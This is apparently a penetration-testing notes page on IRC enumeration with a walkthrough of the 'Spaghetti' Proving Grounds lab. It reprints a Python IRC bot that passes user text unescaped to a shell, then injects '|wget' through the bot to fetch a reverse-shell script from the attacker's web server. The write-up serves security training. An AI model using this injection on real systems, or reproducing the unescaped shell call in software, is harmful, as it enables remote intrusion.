IRC was originally a plain text protocol (although later extended), which on request was assigned port 194/TCP by IANA. However, the de facto standard has always been to run IRC on 6667/TCP and nearby port numbers (for example TCP ports 6660–6669, 7000) to avoid having to run the IRCd software with root privileges.
See Spaghetti from Proving Grounds
Enumeration
nc -vn <IP> <PORT>
Manual
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING :<random> is responded you need to send
#PONG :<received random>
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS <USERNAME> #WHOIS a username
USERHOST <USERNAME> #If available, get hostname of a user
USERIP <USERNAME> #If available, get ip of a user
JOIN <CHANNEL_NAME> #Connect to a channel
#Operator creds Brute-Force
OPER <USERNAME> <PASSWORD>
We can now list available channels by simply running the list command.
see
...
list
:irc.spaghetti.lan 321 kali Channel :Users Name
:irc.spaghetti.lan 322 kali #mailAssistant 1 :[+nt]
:irc.spaghetti.lan 323 kali :End of channel list.
The channel #mailAssistant is the one we saw listed on the web server. Let’s join that channel using the join command.
...
join #mailAssistant
:kali!kali@10.10.1.4 JOIN :#mailAssistant
:irc.spaghetti.lan 353 kali = #mailAssistant :@spaghetti_BoT kali
:irc.spaghetti.lan 366 kali #mailAssistant :End of /NAMES list.
Joining the channel also provides us with a list of users in the channel. We see there is a user by the name of spaghetti_BoT. Let’s try posting a message into the channel we just joined by using the privmsg command.
...
privmsg #mailAssistant hello
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG #mailAssistant :Hello! I'm a spaghetti assistant BoT, please DM me with !command for a list of command.
Spaghetti_BoT responded instructing us to send it a private message of !command to see a list of commands. Let’s do exactly that with the privmsg command again.
...
privmsg spaghetti_BoT !command
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :**************************************************************************
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Use: !about , for information.
It appears that we only have a couple of functions available with spaghetti_BoT. We can send an email address and description and the administrator is supposed to get back to us. We also have the !about function. Let’s try that first.
...
privmsg spaghetti_BoT !about
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :PyBot is developed and maintained by spaghettimail teams.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :For more info and released versions use link below.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot
#!/usr/bin/python3
from irc_class import *
import os
import random
import subprocess
import re
def send_message (recipient, subject, body):
cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
regex = "^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}\$"
def check(email):
if(re.search(regex,email)):
return True
else:
return False
## IRC Config
server = "YourServer" # Provide a valid server IP/Hostname
port = 6667 # Provide a port
channel = "YourChannell" # change this
botnick = "BotName" # change this
botnickpass = "YourBotNickPass" # change this
botpass = "YourBotPass" # change this
irc = IRC()
irc.connect(server, port, channel, botnick, botpass, botnickpass)
recipient = "YourEmail" # change this
while True:
text = irc.get_response()
print(text)
if "PRIVMSG" in text:
user = text.split('!',1)[0][1:]
channel = text.split('PRIVMSG',1)[1].split(':',1)[0] or ''
userMessage = text.split('PRIVMSG',1)[1].split(':',1)[1] or ''
if "PRIVMSG" in text and "#" in text and "hello" in text:
irc.send(channel, user, "Hello! I'm a xxxxxxxxx BoT, please DM me with command for a list of command.")
if "PRIVMSG" in text and "#" not in text and "command" in text:
irc.send(channel, user, "Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.")
irc.send(channel, user, "Use: about, for information.")
if "PRIVMSG" in text and "#" not in text and "about" in text:
irc.send("Put here your message")
if "PRIVMSG" in text and "email" in text and "description" in text:
email = text.split("email",1)[1].split(":",1)[1].split()[0]
if check(email) == True:
description = text.split("description",1)[1].split(":",1)[1]
body = description.rstrip()
subject = "email from {}".format(email)
send_message (recipient, subject, body)
irc.send(channel, user, "Email sent to administrator. Thank you.")
else:
irc.send(channel, user, "Please insert a valid mail address !")
Exploitation
Exploiting IRC
We have two inputs to work with: email and description. If we try anything in the email field, the code checks if it is a valid email address. We can see there is a regex filter on the email field.
In the response from the bot, it said “email will be sent to the administrator”, and the bot appears to be running on the same system as the IRC server based on its localhost IP address:
spaghetti_BoT (spaghetti_@127.0.0.1)
In our nmap scan, we discovered that this server is running postfix. This could be an easy way to send email internally, and in the IRC bot source code we can see a send_message function that calls the mail system command:
...
def send_message (recipient, subject, body):
cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
...
In the function above, there is a variable named cmd that is passed to a subprocess.Popen() call which runs shell commands on the host system. The echo {} part that contains the body of the email is not properly escaped, so it may be possible to inject additional commands.
Let’s try to use this bot to spawn a reverse shell back to our kali box. We can create a script containing a bash reverse shell to pull to the target using this IRC bot.
We can save that as rev.sh and start a python webserver to host it.
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Back in our IRC session, let’s send the spaghetti_BoT a command to download our script. We have to supply a valid email address and then enter some text for the description field followed by a pipe character | and then the command we want to inject. In our case, we’ll use wget to pull the script to the target system.
...
privmsg spaghetti_BoT email:kali@kali.lan description:test |wget http://10.10.1.4:8000/rev.sh
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG kali :Email sent to administrator. Thank you.
We can verify that this worked by looking at our python webserver output: